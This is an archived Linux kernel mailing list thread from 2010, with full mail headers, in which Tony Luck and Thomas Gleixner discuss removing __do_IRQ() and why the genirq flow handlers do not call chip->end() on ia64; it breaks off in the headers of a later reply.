From - Thu Nov 08 21:06:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tony Luck <tony.luck@intel.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.parisc
Subject: Re: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Mon, 27 Sep 2010 10:36:16 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <AANLkTikVHO9DmyTX==CwViDK1rP0masBwjMakHZ0U=kZ@mail.gmail.com>
References: <20100908152036.643594727@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1285608990 6120 80.91.229.12 (27 Sep 2010 17:36:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Sep 2010 17:36:30 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	linux-alpha@vger.kernel.org, linux-cris-kernel@axis.com,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	linux-ia64@vger.kernel.org,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	linux-parisc@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	linux-arch@vger.kernel.org
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Sep 27 19:36:25 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1P0Hcj-0005cI-Ro
	for glka-linux-arch@lo.gmane.org; Mon, 27 Sep 2010 19:36:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759936Ab0I0RgU convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 27 Sep 2010 13:36:20 -0400
Original-Received: from mail-qw0-f46.google.com ([209.85.216.46]:41728 "EHLO
	mail-qw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759781Ab0I0RgS convert rfc822-to-8bit (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Mon, 27 Sep 2010 13:36:18 -0400
Original-Received: by qwh6 with SMTP id 6so3522053qwh.19
        for <multiple recipients>; Mon, 27 Sep 2010 10:36:17 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=KnguDOVM4beiMWyI55kU5IMzJQP4xpEOZnrRVD/av/4=;
        b=alpJpJhM6kv/6Q9eLABc/JR0+LcrWO7tZPlpfz2YtxqPArsj6bd9mJVAkFR3oT/bZM
         M5v0Lpz+ltbjSqMgWWyWXcYG3TFsmiYlNhI8KtLSNQP56+d/q36rufPkuTgj2A9YzdUq
         WfAgkCGbZ4UWgnuPVWBNY1Di2zFDeOb0oBKJM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=f/jrezqB9uAAru86wESTXGLYHWhHk4Nk2dXn5B0dDKJXnBi7mSdrNrit/tkRfG/qao
         cSF6ZDPY76B4tgIna94BfssdSpoOXMNzepUdcLQxdjQCauuaQsKdKdCOCBtwu4+3xYE3
         AfDpqESojCTmX5b+AwAXbrZ00eVfc/UoiDLbo=
Original-Received: by 10.224.28.75 with SMTP id l11mr5752654qac.158.1285608977223; Mon,
 27 Sep 2010 10:36:17 -0700 (PDT)
Original-Received: by 10.224.45.200 with HTTP; Mon, 27 Sep 2010 10:36:16 -0700 (PDT)
In-Reply-To: <20100908152036.643594727@linutronix.de>
X-Google-Sender-Auth: ooRWHqA_T8INAToUscrqMNiXxQA
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:7729 gmane.linux.kernel:1041530 gmane.linux.ports.alpha:1171 gmane.linux.ports.ia64:21455 gmane.linux.ports.parisc:3099
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3099>

On Wed, Sep 8, 2010 at 11:14 AM, Thomas Gleixner <tglx@linutronix.de> w=
rote:
> =A0The following architectures are still using __do_IRQ():
>
> =A0alpha, cris, ia64, h8300, m32r, m68knommu, parisc, um

Thomas,

I (belatedly) took a look at fixing ia64 ... but I've run into a small =
snag.
The __do_IRQ() routine makes a call to:

 desc->chip->end(irq);

while neither of the "handle_level_irq()" nor "handle_edge_irq()"
functions do this.

On ia64 iosapic_end_level_irq() call iosapic_eoi() for me. Without it
my system hangs during boot (with some driver timeout complaining
about dropped interrupts).

Is the omission of desc->chip->end(irq); deliberate? In which case
I need to find another place to call iosapic_eoi(). Or is it accidental=
?

Thanks

-Tony

From - Thu Nov 08 21:06:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Mon, 27 Sep 2010 20:01:26 +0200 (CEST)
Lines: 95
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.1009271953390.2416@localhost6.localdomain6>
References: <20100908152036.643594727@linutronix.de> <AANLkTikVHO9DmyTX==CwViDK1rP0masBwjMakHZ0U=kZ@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-1463795968-1703548383-1285610489=:2416"
X-Trace: dough.gmane.org 1285610810 15020 80.91.229.12 (27 Sep 2010 18:06:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Sep 2010 18:06:50 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	linux-alpha@vger.kernel.org, linux-cris-kernel@axis.com,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	linux-ia64@vger.kernel.org,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	linux-parisc@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	linux-arch@vger.kernel.org
To: Tony Luck <tony.luck@intel.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Mon Sep 27 20:06:46 2010
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1P0I69-0002eW-Q4
	for glpi-linux-ia64-2@lo.gmane.org; Mon, 27 Sep 2010 20:06:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759971Ab0I0SGo (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Mon, 27 Sep 2010 14:06:44 -0400
Original-Received: from www.tglx.de ([62.245.132.106]:36755 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755835Ab0I0SGn (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
	Mon, 27 Sep 2010 14:06:43 -0400
Original-Received: from localhost (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id o8RI1Qep004779
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 27 Sep 2010 20:01:27 +0200
In-Reply-To: <AANLkTikVHO9DmyTX==CwViDK1rP0masBwjMakHZ0U=kZ@mail.gmail.com>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED autolearn=failed
	version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:21456 gmane.linux.kernel:1041542 gmane.linux.ports.alpha:1172 gmane.linux.ports.parisc:3100 gmane.linux.kernel.cross-arch:7730
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3100>

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.

---1463795968-1703548383-1285610489=:2416
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT



On Mon, 27 Sep 2010, Tony Luck wrote:

> On Wed, Sep 8, 2010 at 11:14 AM, Thomas Gleixner <tglx@linutronix.de> wrote:
> > The following architectures are still using __do_IRQ():
> >
> > alpha, cris, ia64, h8300, m32r, m68knommu, parisc, um
> 
> Thomas,
> 
> I (belatedly) took a look at fixing ia64 ... but I've run into a small snag.
> The __do_IRQ() routine makes a call to:
> 
>  desc->chip->end(irq);
> 
> while neither of the "handle_level_irq()" nor "handle_edge_irq()"
> functions do this.
> 
> On ia64 iosapic_end_level_irq() call iosapic_eoi() for me. Without it
> my system hangs during boot (with some driver timeout complaining
> about dropped interrupts).
> 
> Is the omission of desc->chip->end(irq); deliberate? In which case
> I need to find another place to call iosapic_eoi(). Or is it accidental?

No, it's deliberate. The solution is to use the correct flow handler
for your device. We have currently several flow handlers implemented:

    handle_level_irq
	{
		if (chip->mask_ack)
			chip->mask_ack()
		else {
		     chip->mask();
		     if (chip->ack)
		     	chip->ack();
		}

		....

		chip->unmask();
	}

    handle_edge_irq
	{
		chip->ack()

		...
	}

    handle_simple_irq
	{
		...
	}

    handle_fasteoi_irq
	{
		...
		chip->eoi();
	}

    handle_percpu_irq
	{	
		if (chip->ack)
		     	chip->ack();
		
		if (chip->eoi)
		     	chip->eoi();
	}

Note, that handle_percpu_irq does not take the irq_desc->lock.

So the trick is to select the matching handler and have separate irq
chip implementations if necessary.

Hope that helps.

Thanks,

	tglx

---1463795968-1703548383-1285610489=:2416--
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.cross-arch
Subject: RE: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Mon, 27 Sep 2010 11:39:29 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <987664A83D2D224EAE907B061CE93D5301604712B4@orsmsx505.amr.corp.intel.com>
References: <20100908152036.643594727@linutronix.de>
 <AANLkTikVHO9DmyTX==CwViDK1rP0masBwjMakHZ0U=kZ@mail.gmail.com>
 <alpine.LFD.2.00.1009271953390.2416@localhost6.localdomain6>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1285612791 7437 80.91.229.12 (27 Sep 2010 18:39:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Sep 2010 18:39:51 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linux-cris-kernel@axis.com" <linux-cris-kernel@axis.com>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 27 20:39:46 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P0Ic6-0007es-6O
	for glpp-linux-parisc@lo.gmane.org; Mon, 27 Sep 2010 20:39:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933361Ab0I0Sje (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Sep 2010 14:39:34 -0400
Original-Received: from mga11.intel.com ([192.55.52.93]:17859 "EHLO mga11.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933356Ab0I0Sjc convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Sep 2010 14:39:32 -0400
Original-Received: from fmsmga002.fm.intel.com ([10.253.24.26])
  by fmsmga102.fm.intel.com with ESMTP; 27 Sep 2010 11:39:32 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.57,244,1283756400"; 
   d="scan'208";a="610909852"
Original-Received: from orsmsx604.amr.corp.intel.com ([10.22.226.87])
  by fmsmga002.fm.intel.com with ESMTP; 27 Sep 2010 11:39:31 -0700
Original-Received: from orsmsx605.amr.corp.intel.com (10.22.226.10) by
 orsmsx604.amr.corp.intel.com (10.22.226.87) with Microsoft SMTP Server (TLS)
 id 8.2.254.0; Mon, 27 Sep 2010 11:39:31 -0700
Original-Received: from orsmsx505.amr.corp.intel.com ([10.22.226.208]) by
 orsmsx605.amr.corp.intel.com ([10.22.226.10]) with mapi; Mon, 27 Sep 2010
 11:39:31 -0700
Thread-Topic: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Thread-Index: Actebh69UFSGnwHPQKKLKAqdN/hiOgAAKfEA
In-Reply-To: <alpine.LFD.2.00.1009271953390.2416@localhost6.localdomain6>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
acceptlanguage: en-US
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3101 gmane.linux.kernel:1041556 gmane.linux.ports.alpha:1173 gmane.linux.ports.ia64:21457 gmane.linux.kernel.cross-arch:7731
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3101>

> No, it's deliberate. The solution is to use the correct flow handler
> for your device. We have currently several flow handlers implemented:

Yes, I found the different "handle_*_irq()" functions. The _percpu_
variant works fine for the ia64 per-cpu interrupt paths.

But *NONE* of them call desc->chip->end() (even though the code flow
in Documentation/DcoBook/genericirq.tmpl says that three of them do
call it].  So it appears that this was thought to be necessary when
the docs were written, but was not put into the code.

The ia64 chip->end function for edge triggered interrupts is a nop(),
so handle_edge_irq() ought to work just fine for it [can't confirm
from my initial tests because the HP box I'm using only has level
triggered ones].

handle_level_irq() works for my level triggered interrupts if I add
a "desc->chip->end(irq)" call to it.

git grep "chip->end" appears to show that the only use of chip->end
is in the "Recovery handler for misrouted interrupts": try_one_irq()

At minimum we seem to have some documentation inconsistencies with
the code.

-Tony


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.cross-arch
Subject: RE: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Mon, 27 Sep 2010 20:49:49 +0200 (CEST)
Lines: 43
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.1009272048100.2416@localhost6.localdomain6>
References: <20100908152036.643594727@linutronix.de> <AANLkTikVHO9DmyTX==CwViDK1rP0masBwjMakHZ0U=kZ@mail.gmail.com> <alpine.LFD.2.00.1009271953390.2416@localhost6.localdomain6> <987664A83D2D224EAE907B061CE93D5301604712B4@orsmsx505.amr.corp.intel.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1285613701 12410 80.91.229.12 (27 Sep 2010 18:55:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Sep 2010 18:55:01 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linux-cris-kernel@axis.com" <linux-cris-kernel@axis.com>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>
To: "Luck, Tony" <tony.luck@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 27 20:54:57 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P0Iqm-00067W-TF
	for glpp-linux-parisc@lo.gmane.org; Mon, 27 Sep 2010 20:54:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760032Ab0I0Sy4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Sep 2010 14:54:56 -0400
Original-Received: from www.tglx.de ([62.245.132.106]:33211 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757189Ab0I0Syz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Sep 2010 14:54:55 -0400
Original-Received: from localhost (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id o8RInndt012656
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 27 Sep 2010 20:49:50 +0200
In-Reply-To: <987664A83D2D224EAE907B061CE93D5301604712B4@orsmsx505.amr.corp.intel.com>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED autolearn=failed
	version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3102 gmane.linux.kernel:1041563 gmane.linux.ports.alpha:1174 gmane.linux.ports.ia64:21458 gmane.linux.kernel.cross-arch:7732
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3102>

On Mon, 27 Sep 2010, Luck, Tony wrote:

> > No, it's deliberate. The solution is to use the correct flow handler
> > for your device. We have currently several flow handlers implemented:
> 
> Yes, I found the different "handle_*_irq()" functions. The _percpu_
> variant works fine for the ia64 per-cpu interrupt paths.
> 
> But *NONE* of them call desc->chip->end() (even though the code flow
> in Documentation/DcoBook/genericirq.tmpl says that three of them do
> call it].  So it appears that this was thought to be necessary when
> the docs were written, but was not put into the code.

Yeah, sorry.
 
> The ia64 chip->end function for edge triggered interrupts is a nop(),
> so handle_edge_irq() ought to work just fine for it [can't confirm
> from my initial tests because the HP box I'm using only has level
> triggered ones].
> 
> handle_level_irq() works for my level triggered interrupts if I add
> a "desc->chip->end(irq)" call to it.

Hmm, why isn't chip->unmask() sufficient ?
 
> git grep "chip->end" appears to show that the only use of chip->end
> is in the "Recovery handler for misrouted interrupts": try_one_irq()

Right, that's just due to the old __do_IRQ() compability.
 
> At minimum we seem to have some documentation inconsistencies with
> the code.

Will fix.

Thanks,

	tglx
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.parisc
Subject: RE: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Mon, 27 Sep 2010 12:01:51 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <987664A83D2D224EAE907B061CE93D530160471328@orsmsx505.amr.corp.intel.com>
References: <20100908152036.643594727@linutronix.de>
 <AANLkTikVHO9DmyTX==CwViDK1rP0masBwjMakHZ0U=kZ@mail.gmail.com>
 <alpine.LFD.2.00.1009271953390.2416@localhost6.localdomain6>
 <987664A83D2D224EAE907B061CE93D5301604712B4@orsmsx505.amr.corp.intel.com>
 <alpine.LFD.2.00.1009272048100.2416@localhost6.localdomain6>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1285614132 14782 80.91.229.12 (27 Sep 2010 19:02:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Sep 2010 19:02:12 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linux-cris-kernel@axis.com" <linux-cris-kernel@axis.com>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Sep 27 21:02:07 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1P0Ixj-0000qv-4O
	for glka-linux-arch@lo.gmane.org; Mon, 27 Sep 2010 21:02:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933403Ab0I0TBz (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 27 Sep 2010 15:01:55 -0400
Original-Received: from mga01.intel.com ([192.55.52.88]:23932 "EHLO mga01.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933375Ab0I0TBy convert rfc822-to-8bit (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Mon, 27 Sep 2010 15:01:54 -0400
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
  by fmsmga101.fm.intel.com with ESMTP; 27 Sep 2010 12:01:53 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.57,244,1283756400"; 
   d="scan'208";a="841382294"
Original-Received: from orsmsx602.amr.corp.intel.com ([10.22.226.211])
  by fmsmga001.fm.intel.com with ESMTP; 27 Sep 2010 12:01:53 -0700
Original-Received: from orsmsx505.amr.corp.intel.com ([10.22.226.208]) by
 orsmsx602.amr.corp.intel.com ([10.22.226.211]) with mapi; Mon, 27 Sep 2010
 12:01:52 -0700
Thread-Topic: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Thread-Index: ActedNyThmWIOFhLRrar/oa2Z2pp8gAAVRfQ
In-Reply-To: <alpine.LFD.2.00.1009272048100.2416@localhost6.localdomain6>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
acceptlanguage: en-US
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:7733 gmane.linux.kernel:1041567 gmane.linux.ports.alpha:1175 gmane.linux.ports.ia64:21459 gmane.linux.ports.parisc:3103
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3103>

>> handle_level_irq() works for my level triggered interrupts if I add
>> a "desc->chip->end(irq)" call to it.
>
> Hmm, why isn't chip->unmask() sufficient ?
 
That's a good question.  I'll take a look at what ia64 is doing
in the ->unmask() and ->end() functions to see if I can fix this
with some code shuffling.

Thanks

-Tony

From - Thu Nov 08 21:06:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: richard -rw- weinberger <richard.weinberger@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.cross-arch
Subject: Re: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Mon, 27 Sep 2010 21:48:34 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <AANLkTin23sJT+OqjDqjyk-Gr5r-GfJ_03Q1WUqNLCzgH@mail.gmail.com>
References: <20100908152036.643594727@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1285616925 3966 80.91.229.12 (27 Sep 2010 19:48:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Sep 2010 19:48:45 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	linux-alpha@vger.kernel.org, linux-cris-kernel@axis.com,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
